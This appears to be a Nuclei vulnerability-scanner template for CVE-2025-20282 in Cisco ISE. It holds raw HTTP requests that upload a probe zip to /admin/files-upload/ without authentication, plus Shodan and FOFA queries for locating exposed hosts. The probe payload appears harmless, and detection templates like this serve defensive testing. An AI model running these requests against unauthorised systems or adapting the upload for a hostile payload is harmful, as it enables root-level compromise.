Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.
PoC
id: CVE-2025-20282
info:
name: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
author: 0x_Akoko,pdteam
severity: critical
description: |
Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.
impact: |
Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.
remediation: |
Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.
reference:
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
- https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/
- https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC
- https://nvd.nist.gov/vuln/detail/CVE-2025-20282
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-20282
cwe-id: CWE-434
epss-score: 0.27498
epss-percentile: 0.97968
cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cisco
product: identity_services_engine
shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"'
fofa-query: title="identity services engine"
tags: cve,cve2025,cisco,cisco-ise,rce,file-upload,intrusive,vkev
variables:
probe_zip: "{{base64_decode('UEsDBBQAAAAAAHcdA12wBb+DFAAAABQAAAAJAAAAcHJvYmUudHh0Q1ZFLTIwMjUtMjAyODItcHJvYmVQSwECFAMUAAAAAAB3HQNdsAW/gxQAAAAUAAAACQAAAAAAAAAAAAAAgAEAAAAAcHJvYmUudHh0UEsFBgAAAAABAAEANwAAADsAAAAAAA==')}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /admin/login.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header, "APPSESSIONID=")'
internal: true
- raw:
- |
POST /admin/files-upload/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----ISEProbe202520282
------ISEProbe202520282
Content-Disposition: form-data; name="file"; filename="probe.zip"
Content-Type: application/zip
{{probe_zip}}
------ISEProbe202520282--
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 422'
- 'contains(header, "walkme.com")'
condition: and
# digest: 4a0a00473045022100e5591b8dea261ebb9d5e201048ae1796e826ada5acf2a6c212210030d387d9d102203ef8f69c03877b3dcf7cb8e63922de04f28f644115d63524d96b6fa53aff53c4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.